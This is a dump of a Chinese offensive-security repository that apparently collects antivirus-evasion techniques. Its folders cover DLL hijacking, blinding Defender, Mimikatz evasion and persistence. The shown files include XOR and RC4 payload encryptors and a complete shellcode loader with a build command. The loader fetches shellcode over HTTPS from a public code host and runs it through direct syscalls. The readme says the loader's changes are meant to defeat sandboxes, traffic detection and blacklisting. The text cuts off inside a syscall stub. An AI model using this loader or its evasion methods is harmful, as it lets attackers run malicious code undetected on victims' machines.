├── .gitignore ├── 01-DLL劫持 ├── readme.md └── 如何编写DLL文件.md ├── 02-ShellcodeLoader ├── CShellcodeRC4EncryptDecrypt.md ├── CShellcodeXOREncryptDecrypt.md ├── SysWhispers3WinHttp项目二开 │ ├── SysWhispers3WinHttps.c │ ├── readme.md │ ├── start.sh │ ├── syscalls.c │ ├── syscalls.h │ ├── syscalls64.c │ └── syscalls64.h ├── putty-x64.exe └── putty-x86.exe ├── 03-杀软致盲 ├── readme.md └── 无感知使Windows Defender失效 │ ├── pic │ ├── 01.png │ ├── 02.png │ ├── 03.png │ ├── 04.png │ ├── 05.png │ └── 06.png │ └── readme.md ├── Linux下限制可执行文件落地绕过 ├── Linux无文件落地任意二进制执行.docx └── 总结思考.md ├── MicroBackdoor免杀测试笔记 ├── pic │ ├── dynamic.png │ ├── persistent.png │ └── readme.md └── readme.md ├── Mimikatz源码免杀 ├── pic │ ├── 0.png │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ └── readme.md ├── readme.md └── 编译过程记录.md ├── Nim语言学习 ├── nim语言学习一.md └── nim语言学习二.md ├── README.md ├── Windows PE学习 ├── Windows PE学习笔记.md └── pic │ └── 01.jpg ├── 【C】【C++】【汇编】基础知识补充 ├── C++输入输出二进制文件.md └── 关闭控制台窗口的2种实现方式.md ├── 动态免杀 ├── BOF过杀软添加用户 │ ├── beacon.h │ ├── bof-net-user-x64.o │ ├── bof-net-user-x86.o │ ├── bof-net-user.c │ ├── pic │ │ ├── 0.png │ │ ├── 1.png │ │ ├── 2.png │ │ ├── 3.png │ │ ├── 4.png │ │ ├── 5.png │ │ └── readme.md │ └── readme.md ├── CS内存中执行Mimikatz过杀软提取密码 │ ├── pic │ │ ├── 0.png │ │ ├── 1.png │ │ ├── 2.png │ │ ├── 3.png │ │ └── readme.md │ └── readme.md ├── Nim添加用户绕过360 │ ├── netuser.exe │ ├── netuser.nim │ ├── pic │ │ ├── 0.png │ │ └── readme.md │ └── readme.md ├── Procdump+Mimikatz过杀软提取密码 │ ├── pic │ │ ├── 0.png │ │ ├── 1.png │ │ ├── 2.png │ │ └── readme.md │ └── readme.md └── readme.md ├── 打包器免杀 ├── readme.md └── 基于Nim语言的免杀打包器 │ ├── pic │ ├── image-20221111222512497.png │ ├── image-20221111222806858.png │ ├── image-20221111223117632.png │ └── image-20221111223229687.png │ └── readme.md ├── 杀软识别 └── readme.md └── 维权免杀 └── readme.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store -------------------------------------------------------------------------------- /01-DLL劫持/readme.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/01-DLL劫持/readme.md -------------------------------------------------------------------------------- /01-DLL劫持/如何编写DLL文件.md: -------------------------------------------------------------------------------- 1 | VS2022创建C++ DLL应用 2 | 3 | # 编写方式1 4 | dllmain.cpp 5 | ``` 6 | // dllmain.cpp : 定义 DLL 应用程序的入口点。 7 | #include "pch.h" 8 | 9 | extern "C" _declspec(dllexport) void __cdecl daji(); 10 | 11 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 12 | { 13 | switch (ul_reason_for_call) 14 | { 15 | case DLL_PROCESS_ATTACH: 16 | case DLL_THREAD_ATTACH: 17 | case DLL_THREAD_DETACH: 18 | case DLL_PROCESS_DETACH: 19 | break; 20 | } 21 | return TRUE; 22 | } 23 | 24 | void daji() 25 | { 26 | std::cout << "abc" << std::endl; 27 | } 28 | ``` 29 | 30 | # 编写方式2 31 | pch.h 32 | ``` 33 | // pch.h: 这是预编译标头文件。 34 | // 下方列出的文件仅编译一次,提高了将来生成的生成性能。 35 | // 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。 36 | // 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。 37 | // 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。 38 | 39 | #ifndef PCH_H 40 | #define PCH_H 41 | 42 | // 添加要在此处预编译的标头 43 | #include "framework.h" 44 | 45 | #endif //PCH_H 46 | 47 | extern "C" 48 | { 49 | _declspec(dllexport) void __cdecl daji(); 50 | } 51 | ``` 52 | pch.cpp 53 | ``` 54 | // pch.cpp: 与预编译标头对应的源文件 55 | 56 | #include "pch.h" 57 | 58 | // 当使用预编译的头时,需要使用此源文件,编译才能成功。 59 | 60 | void daji() { 61 | std::cout << "abc" << std::endl; 62 | } 63 | ``` -------------------------------------------------------------------------------- /02-ShellcodeLoader/CShellcodeRC4EncryptDecrypt.md: -------------------------------------------------------------------------------- 1 | ``` 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define MAX 65534 8 | 9 | /* 10 | 参考链接:https://blog.csdn.net/qq_38130747/article/details/88602061 11 | */ 12 | 13 | int S[256]; //向量S 14 | char T[256]; //向量T 15 | int Key[256]; //随机生成的密钥 16 | int KeyStream[MAX]; //密钥 17 | char PlainText[MAX]; //明文 18 | char CryptoText[MAX]; //密文 19 | const char* WordList = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 20 | 21 | //初始化S 22 | void init_S() { 23 | for (int i = 0; i < 256; i++) { 24 | S[i] = i; 25 | } 26 | } 27 | 28 | //初始化密钥 29 | void init_Key() { 30 | int index; 31 | srand(time(NULL)); // 根据当前时间,作为种子 32 | int keylen = int(double(rand()) / double(RAND_MAX) * 256); // 随机获取一个密钥的长度 33 | for (int i = 0; i < keylen; i++) { 34 | index = int(double(rand()) / double(RAND_MAX) * 63); // 生产密钥数组 35 | Key[i] = WordList[index]; 36 | } 37 | for (int i = 0; i < 256; i++) { // 初始化T[] 38 | T[i] = Key[i % keylen]; 39 | } 40 | } 41 | 42 | //置换S 43 | void permute_S() { 44 | int temp; 45 | int j = 0; 46 | for (int i = 0; i < 256; i++) { 47 | j = (j + S[i] + T[i]) % 256; 48 | temp = S[i]; 49 | S[i] = S[j]; 50 | S[j] = temp; 51 | } 52 | } 53 | 54 | //生成密钥流 55 | void create_key_stream(char* text, int textLength) { 56 | int i, j; 57 | int temp, t; 58 | int index = 0; 59 | i = j = 0; 60 | while (textLength--) { 61 | i = (i + 1) % 256; 62 | j = (j + S[i]) % 256; 63 | temp = S[i]; 64 | S[i] = S[j]; 65 | S[j] = temp; 66 | t = (S[i] + S[j]) % 256; 67 | KeyStream[index] = S[t]; 68 | index++; 69 | } 70 | } 71 | 72 | //加密 && 解密 73 | void Rc4EncryptText(char* text) { 74 | int textLength = strlen(text); 75 | init_S(); 76 | init_Key(); 77 | permute_S(); 78 | create_key_stream(text, textLength); 79 | printf("\n============开始加密============\n"); 80 | for (int i = 0; i < textLength; i++) { 81 | CryptoText[i] = char(KeyStream[i] ^ text[i]); // 加密 82 | } 83 | for (int i = 0; i < textLength; i++) { 84 | printf("%c", CryptoText[i]); 85 | } 86 | printf("\n"); 87 | printf("============开始解密============\n"); 88 | for (int i = 0; i < textLength; i++) { 89 | PlainText[i] = char(KeyStream[i] ^ CryptoText[i]); // 解密 90 | } 91 | for (int i = 0; i < textLength; i++) { 92 | printf("%c", PlainText[i]); 93 | } 94 | printf("\n"); 95 | printf("============加解密完成============\n"); 96 | } 97 | 98 | int main() { 99 | char text[] = "password"; 100 | Rc4EncryptText(text); 101 | 102 | return 0; 103 | } 104 | ``` 105 | 106 | 上述代码只是完成字符串的加解密,对于二进制文件,还需额外处理,具体可参考:https://myzxcg.com/2022/01/字符串加密与Shellcode-隐藏/ -------------------------------------------------------------------------------- /02-ShellcodeLoader/CShellcodeXOREncryptDecrypt.md: -------------------------------------------------------------------------------- 1 | ``` 2 | #define _CRT_SECURE_NO_WARNINGS // 允许使用不安全的函数 3 | 4 | #include 5 | #include 6 | 7 | //获取文件大小 8 | int getFileSize(char* path) { 9 | FILE* fp = fopen(path, "rt"); 10 | if (fp == NULL) { 11 | printf("文件打开失败!"); 12 | return -1; 13 | } 14 | else { 15 | fseek(fp, 0, SEEK_END); 16 | int length = ftell(fp); 17 | printf("文件大小为:%d\n", length); 18 | return length; 19 | } 20 | } 21 | 22 | //对文件进行加密 23 | void encrypt(char* oldPath, char* newPath) { 24 | FILE *fr, *fw; 25 | fr = fopen(oldPath, "rb"); 26 | fw = fopen(newPath, "wb"); 27 | if (fr == NULL || fw == NULL) { 28 | printf("打开或创建文件失败!"); 29 | } 30 | else { 31 | int length = getFileSize(oldPath); 32 | char* p = (char*)malloc(length * sizeof(char)); 33 | fread(p, sizeof(char), length, fr); 34 | for (int i = 0; i < length; i++) { 35 | p[i] ^= 'QWE'; 36 | } 37 | fwrite(p, sizeof(char), length, fw); 38 | fclose(fr); 39 | fclose(fw); 40 | } 41 | } 42 | 43 | //对文件进行解密 44 | void decrypt(char* oldPath, char* newPath) { 45 | FILE *fr, *fw; 46 | fr = fopen(oldPath, "rb"); 47 | fw = fopen(newPath, "wb"); 48 | if (fr == NULL || fw == NULL) { 49 | printf("打开或创建文件失败!"); 50 | } 51 | else { 52 | int length = getFileSize(oldPath); 53 | char* p = (char*)malloc(length * sizeof(char)); 54 | fread(p, sizeof(char), length, fr); 55 | for (int i = 0; i < length; i++) { 56 | p[i] ^= 'QWE'; 57 | } 58 | fwrite(p, sizeof(char), length, fw); 59 | fclose(fr); 60 | fclose(fw); 61 | } 62 | } 63 | 64 | int main(int argc, char* argv[]) { 65 | if (argc != 4) { 66 | printf("Usage: Encryptor.exe putty-x64.exe putty-x64-encrypt.exe putty-x64-decrypt.exe\n"); 67 | } 68 | else { 69 | char* original_path = argv[1]; 70 | char* encrypt_path = argv[2]; 71 | char* decrypt_path = argv[3]; 72 | 73 | encrypt(original_path, encrypt_path); 74 | decrypt(encrypt_path, decrypt_path); 75 | } 76 | 77 | return 0; 78 | 79 | } 80 | ``` 81 | 82 | 代码如上,可基于putty-x64.exe进行测试,经测试,putty-x64-decrypt.exe可成功运行 -------------------------------------------------------------------------------- /02-ShellcodeLoader/SysWhispers3WinHttp项目二开/SysWhispers3WinHttps.c: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | 3 | #include 4 | #include 5 | #include "syscalls64.h" 6 | 7 | PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) 8 | { 9 | char *d = (char *) (dest); 10 | char *s = (char *) (src); 11 | if (d < s) 12 | while (len--) 13 | *d++ = *s++; 14 | else 15 | { 16 | char *lasts = s + (len - 1); 17 | char *lastd = d + (len - 1); 18 | while (len--) 19 | *lastd-- = *lasts--; 20 | } 21 | return dest; 22 | } 23 | 24 | int main(int argc, char *argv[]) 25 | { 26 | if (argc != 2) { 27 | printf("[-] Need password"); 28 | return 0; 29 | } 30 | else if (strcmp(argv[1], "dajipeiniwan") != 0) { 31 | printf("[-] Password incorrect"); 32 | return 0; 33 | } 34 | else { 35 | ShowWindow(GetForegroundWindow(), SW_HIDE); 36 | DWORD dwSize = 0; 37 | DWORD dwDownloaded = 0; 38 | LPSTR pszOutBuffer; 39 | BOOL bResults = FALSE; 40 | HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; 41 | 42 | hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); 43 | 44 | if (hSession) { 45 | hConnect = WinHttpConnect(hSession, L"www.gitee.com", INTERNET_DEFAULT_HTTPS_PORT, 0); 46 | printf("[+] Executed WinHttpConnect\n"); 47 | } 48 | 49 | if (hConnect) { 50 | hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/xxx/xxx/xxx/shellcode.bin", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); 51 | printf("[+] Executed WinHttpOpenRequest\n"); 52 | } 53 | 54 | if (hRequest) { 55 | bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); 56 | printf("[+] Executed WinHttpSendRequest\n"); 57 | } 58 | 59 | if (bResults) { 60 | bResults = WinHttpReceiveResponse(hRequest, NULL); 61 | printf("[+] Executed WinHttpReceiveResponse\n"); 62 | } 63 | 64 | PVOID lpAddress = NULL; 65 | SIZE_T sDataSize = 0x60000; 66 | NtAllocateVirtualMemory((HANDLE) -1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); 67 | printf("[+] Executed NtAllocateVirtualMemory\n"); 68 | DWORD_PTR hptr = (DWORD_PTR) lpAddress; 69 | 70 | if (bResults) 71 | do 72 | { 73 | dwSize = 0; 74 | if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { 75 | printf("Error %u in WinHttpQueryDataAvailable\n", GetLastError()); 76 | } 77 | printf("Shellcode size: %d\n", dwSize); 78 | pszOutBuffer = (unsigned char *) calloc(dwSize + 1, sizeof(unsigned char)); 79 | //ZeroMemory(pszOutBuffer, dwSize + 1); 80 | if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) { 81 | printf("Error %u in WinHttpReadData\n", GetLastError()); 82 | } 83 | VxMoveMemory((PVOID)hptr, pszOutBuffer, dwSize); 84 | hptr += dwSize; 85 | free(pszOutBuffer); 86 | } while (dwSize > 0); 87 | printf("[+] Read data successfully\n"); 88 | 89 | ULONG ulOldProtect = 0; 90 | NtProtectVirtualMemory((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); 91 | printf("[+] Executed NtProtectVirtualMemory\n"); 92 | 93 | HANDLE hHostThread = INVALID_HANDLE_VALUE; 94 | NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL); 95 | printf("[+] Executed NtCreateThreadEx\n"); 96 | 97 | NtWaitForMultipleObjects(1, &hHostThread, WaitAll, FALSE, NULL); 98 | printf("[+] Executed NtWaitForMultipleObjects\n"); 99 | 100 | if (hRequest) 101 | WinHttpCloseHandle(hRequest); 102 | if (hConnect) 103 | WinHttpCloseHandle(hConnect); 104 | if (hSession) 105 | WinHttpCloseHandle(hSession); 106 | printf("[+] Finished"); 107 | return 0; 108 | } 109 | } -------------------------------------------------------------------------------- /02-ShellcodeLoader/SysWhispers3WinHttp项目二开/readme.md: -------------------------------------------------------------------------------- 1 | 原项目地址:https://github.com/huaigu4ng/SysWhispers3WinHttp 2 | 3 | 项目原理: 4 | 01 借助winhttp库从指定的URL下载shellcode到内存 5 | 02 以SysWhispers3的方式执行shellcode 6 | 7 | 二开改进的地方: 8 | 改进1:添加启动密码来反沙箱 9 | 改进2:从http改为https,防止基于流量的检测 10 | 改进3:从个人vps改为公共服务,防止对个人vps标黑 -------------------------------------------------------------------------------- /02-ShellcodeLoader/SysWhispers3WinHttp项目二开/start.sh: -------------------------------------------------------------------------------- 1 | -masm=dialect 2 | Output assembly instructions using selected dialect. Also affects which dialect is used for basicasm (see Basic Asm — Assembler Instructions Without Operands) and 3 | extended asm (see Extended Asm - Assembler Instructions with C Expression Operands). Supported choices (in dialect order) are ‘att’ or ‘intel’, The default is ‘att’. 4 | Darwin does not support ‘intel’. 5 | 6 | -w 不生成任何警告信息 7 | 8 | -s Remove all symbol table and relocation information from the executable. 9 | 10 | -llibrary 11 | -l library 12 | Search the library named library when linking. (The second alternative with the library as a separate argument is only for POSIX compliance and is not recommended.) 13 | The -l option is passed directly to the linker by GCC. Refer to your linker documentation for exact details. The general description below applies to the GNU linker. 14 | The linker searches a standard list of directories for the library. The directories searched include several standard system directories plus any that you specify with -L. 15 | Static libraries are archives of object files, and have file names like liblibrary.a. Some targets also support shared libraries, which typically have names like liblibrary.so. 16 | If both static and shared libraries are found, the linker gives preference to linking with the shared library unless the -static option is used. 17 | It makes a difference where in the command you write this option; the linker searches and processes libraries and object files in the order they are specified. 18 | Thus, ‘foo.o -lz bar.o’ searches library ‘z’ after file foo.o but before bar.o. If bar.o refers to functions in ‘z’, those functions may not be loaded. 19 | 20 | 不指定时默认为-O0 不进行优化处理,减少代码编译时间并保留调试信息 21 | -O或-O1 优化生成代码 22 | -O2 进一步优化 23 | -O3 比-O2更进一步优化,包括inline函数 24 | 参考链接:https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html 25 | 26 | x86_64-w64-mingw32-gcc -o SysWhispers3WinHttp.exe syscalls64.c SysWhispers3WinHttp.c -masm=intel -w -s -lwinhttp -O1 -------------------------------------------------------------------------------- /02-ShellcodeLoader/SysWhispers3WinHttp项目二开/syscalls.c: -------------------------------------------------------------------------------- 1 | #include "syscalls.h" 2 | #include 3 | 4 | //#define DEBUG 5 | 6 | #define JUMPER 7 | 8 | #ifdef _M_IX86 9 | 10 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { 11 | return (PVOID)__readfsdword(0xC0); 12 | } 13 | 14 | __declspec(naked) BOOL local_is_wow64(void) 15 | { 16 | asm( 17 | "mov eax, fs:[0xc0] \n" 18 | "test eax, eax \n" 19 | "jne wow64 \n" 20 | "mov eax, 0 \n" 21 | "ret \n" 22 | "wow64: \n" 23 | "mov eax, 1 \n" 24 | "ret \n" 25 | ); 26 | } 27 | 28 | #endif 29 | 30 | // Code below is adapted from @modexpblog. Read linked article for more details. 31 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 32 | 33 | SW3_SYSCALL_LIST SW3_SyscallList; 34 | 35 | // SEARCH_AND_REPLACE 36 | #ifdef SEARCH_AND_REPLACE 37 | // THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release 38 | EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); 39 | #endif 40 | 41 | DWORD SW3_HashSyscall(PCSTR FunctionName) 42 | { 43 | DWORD i = 0; 44 | DWORD Hash = SW3_SEED; 45 | 46 | while (FunctionName[i]) 47 | { 48 | WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); 49 | Hash ^= PartialName + SW3_ROR8(Hash); 50 | } 51 | 52 | return Hash; 53 | } 54 | 55 | #ifndef JUMPER 56 | PVOID SC_Address(PVOID NtApiAddress) 57 | { 58 | return NULL; 59 | } 60 | #else 61 | PVOID SC_Address(PVOID NtApiAddress) 62 | { 63 | DWORD searchLimit = 512; 64 | PVOID SyscallAddress; 65 | 66 | #ifdef _WIN64 67 | // If the process is 64-bit on a 64-bit OS, we need to search for syscall 68 | BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; 69 | ULONG distance_to_syscall = 0x12; 70 | #else 71 | // If the process is 32-bit on a 32-bit OS, we need to search for sysenter 72 | BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; 73 | ULONG distance_to_syscall = 0x0f; 74 | #endif 75 | 76 | #ifdef _M_IX86 77 | // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved 78 | if (local_is_wow64()) 79 | { 80 | #ifdef DEBUG 81 | printf("[+] Running 32-bit app on x64 (WOW64)\n"); 82 | #endif 83 | // if we are a WoW64 process, jump to WOW32Reserved 84 | SyscallAddress = (PVOID)__readfsdword(0xc0); 85 | return SyscallAddress; 86 | } 87 | #endif 88 | 89 | // we don't really care if there is a 'jmp' between 90 | // NtApiAddress and the 'syscall; ret' instructions 91 | SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); 92 | 93 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 94 | { 95 | // we can use the original code for this system call :) 96 | #if defined(DEBUG) 97 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 98 | #endif 99 | return SyscallAddress; 100 | } 101 | 102 | // the 'syscall; ret' intructions have not been found, 103 | // we will try to use one near it, similarly to HalosGate 104 | 105 | for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) 106 | { 107 | // let's try with an Nt* API below our syscall 108 | SyscallAddress = SW3_RVA2VA( 109 | PVOID, 110 | NtApiAddress, 111 | distance_to_syscall + num_jumps * 0x20); 112 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 113 | { 114 | #if defined(DEBUG) 115 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 116 | #endif 117 | return SyscallAddress; 118 | } 119 | 120 | // let's try with an Nt* API above our syscall 121 | SyscallAddress = SW3_RVA2VA( 122 | PVOID, 123 | NtApiAddress, 124 | distance_to_syscall - num_jumps * 0x20); 125 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 126 | { 127 | #if defined(DEBUG) 128 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 129 | #endif 130 | return SyscallAddress; 131 | } 132 | } 133 | 134 | #ifdef DEBUG 135 | printf("Syscall Opcodes not found!\n"); 136 | #endif 137 | 138 | return NULL; 139 | } 140 | #endif 141 | 142 | 143 | BOOL SW3_PopulateSyscallList() 144 | { 145 | // Return early if the list is already populated. 146 | if (SW3_SyscallList.Count) return TRUE; 147 | 148 | #ifdef _WIN64 149 | PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); 150 | #else 151 | PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); 152 | #endif 153 | PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; 154 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 155 | PVOID DllBase = NULL; 156 | 157 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 158 | // in the list, so it's safer to loop through the full list and find it. 159 | PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; 160 | for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 161 | { 162 | DllBase = LdrEntry->DllBase; 163 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 164 | PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 165 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 166 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 167 | if (VirtualAddress == 0) continue; 168 | 169 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 170 | 171 | // If this is NTDLL.dll, exit loop. 172 | PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 173 | 174 | if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; 175 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; 176 | } 177 | 178 | if (!ExportDirectory) return FALSE; 179 | 180 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 181 | PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 182 | PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 183 | PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 184 | 185 | // Populate SW3_SyscallList with unsorted Zw* entries. 186 | DWORD i = 0; 187 | PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; 188 | do 189 | { 190 | PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 191 | 192 | // Is this a system call? 193 | if (*(USHORT*)FunctionName == 0x775a) 194 | { 195 | Entries[i].Hash = SW3_HashSyscall(FunctionName); 196 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 197 | Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); 198 | 199 | i++; 200 | if (i == SW3_MAX_ENTRIES) break; 201 | } 202 | } while (--NumberOfNames); 203 | 204 | // Save total number of system calls found. 205 | SW3_SyscallList.Count = i; 206 | 207 | // Sort the list by address in ascending order. 208 | for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) 209 | { 210 | for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) 211 | { 212 | if (Entries[j].Address > Entries[j + 1].Address) 213 | { 214 | // Swap entries. 215 | SW3_SYSCALL_ENTRY TempEntry; 216 | 217 | TempEntry.Hash = Entries[j].Hash; 218 | TempEntry.Address = Entries[j].Address; 219 | TempEntry.SyscallAddress = Entries[j].SyscallAddress; 220 | 221 | Entries[j].Hash = Entries[j + 1].Hash; 222 | Entries[j].Address = Entries[j + 1].Address; 223 | Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; 224 | 225 | Entries[j + 1].Hash = TempEntry.Hash; 226 | Entries[j + 1].Address = TempEntry.Address; 227 | Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; 228 | } 229 | } 230 | } 231 | 232 | return TRUE; 233 | } 234 | 235 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) 236 | { 237 | // Ensure SW3_SyscallList is populated. 238 | if (!SW3_PopulateSyscallList()) return -1; 239 | 240 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 241 | { 242 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 243 | { 244 | return i; 245 | } 246 | } 247 | 248 | return -1; 249 | } 250 | 251 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) 252 | { 253 | // Ensure SW3_SyscallList is populated. 254 | if (!SW3_PopulateSyscallList()) return NULL; 255 | 256 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 257 | { 258 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 259 | { 260 | return SW3_SyscallList.Entries[i].SyscallAddress; 261 | } 262 | } 263 | 264 | return NULL; 265 | } 266 | 267 | EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) 268 | { 269 | // Ensure SW3_SyscallList is populated. 270 | if (!SW3_PopulateSyscallList()) return NULL; 271 | 272 | DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; 273 | 274 | while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ 275 | // Spoofing the syscall return address 276 | index = ((DWORD) rand()) % SW3_SyscallList.Count; 277 | } 278 | return SW3_SyscallList.Entries[index].SyscallAddress; 279 | } 280 | #if defined(__GNUC__) 281 | 282 | __declspec(naked) NTSTATUS NtAllocateVirtualMemory( 283 | IN HANDLE ProcessHandle, 284 | IN OUT PVOID * BaseAddress, 285 | IN ULONG ZeroBits, 286 | IN OUT PSIZE_T RegionSize, 287 | IN ULONG AllocationType, 288 | IN ULONG Protect) 289 | { 290 | asm( 291 | "push ebp \n" 292 | "mov ebp, esp \n" 293 | "push 0x3D952B7B \n" 294 | "call _SW3_GetSyscallAddress \n" 295 | "mov edi, eax \n" 296 | "push 0x3D952B7B \n" 297 | "call _SW3_GetSyscallNumber \n" 298 | "lea esp, [esp+4] \n" 299 | "mov ecx, 0x6 \n" 300 | "push_argument_3D952B7B: \n" 301 | "dec ecx \n" 302 | "push [ebp + 8 + ecx * 4] \n" 303 | "jnz push_argument_3D952B7B \n" 304 | "mov ecx, eax \n" 305 | "mov eax, ecx \n" 306 | "lea ebx, [ret_address_epilog_3D952B7B] \n" 307 | "push ebx \n" 308 | "call do_sysenter_interrupt_3D952B7B \n" 309 | "lea esp, [esp+4] \n" 310 | "ret_address_epilog_3D952B7B: \n" 311 | "mov esp, ebp \n" 312 | "pop ebp \n" 313 | "ret \n" 314 | "do_sysenter_interrupt_3D952B7B: \n" 315 | "mov edx, esp \n" 316 | "jmp edi \n" 317 | "ret \n" 318 | ); 319 | } 320 | 321 | __declspec(naked) NTSTATUS NtProtectVirtualMemory( 322 | IN HANDLE ProcessHandle, 323 | IN OUT PVOID * BaseAddress, 324 | IN OUT PSIZE_T RegionSize, 325 | IN ULONG NewProtect, 326 | OUT PULONG OldProtect) 327 | { 328 | asm( 329 | "push ebp \n" 330 | "mov ebp, esp \n" 331 | "push 0x0E1242D7 \n" 332 | "call _SW3_GetSyscallAddress \n" 333 | "mov edi, eax \n" 334 | "push 0x0E1242D7 \n" 335 | "call _SW3_GetSyscallNumber \n" 336 | "lea esp, [esp+4] \n" 337 | "mov ecx, 0x5 \n" 338 | "push_argument_0E1242D7: \n" 339 | "dec ecx \n" 340 | "push [ebp + 8 + ecx * 4] \n" 341 | "jnz push_argument_0E1242D7 \n" 342 | "mov ecx, eax \n" 343 | "mov eax, ecx \n" 344 | "lea ebx, [ret_address_epilog_0E1242D7] \n" 345 | "push ebx \n" 346 | "call do_sysenter_interrupt_0E1242D7 \n" 347 | "lea esp, [esp+4] \n" 348 | "ret_address_epilog_0E1242D7: \n" 349 | "mov esp, ebp \n" 350 | "pop ebp \n" 351 | "ret \n" 352 | "do_sysenter_interrupt_0E1242D7: \n" 353 | "mov edx, esp \n" 354 | "jmp edi \n" 355 | "ret \n" 356 | ); 357 | } 358 | 359 | __declspec(naked) NTSTATUS NtCreateThreadEx( 360 | OUT PHANDLE ThreadHandle, 361 | IN ACCESS_MASK DesiredAccess, 362 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 363 | IN HANDLE ProcessHandle, 364 | IN PVOID StartRoutine, 365 | IN PVOID Argument OPTIONAL, 366 | IN ULONG CreateFlags, 367 | IN SIZE_T ZeroBits, 368 | IN SIZE_T StackSize, 369 | IN SIZE_T 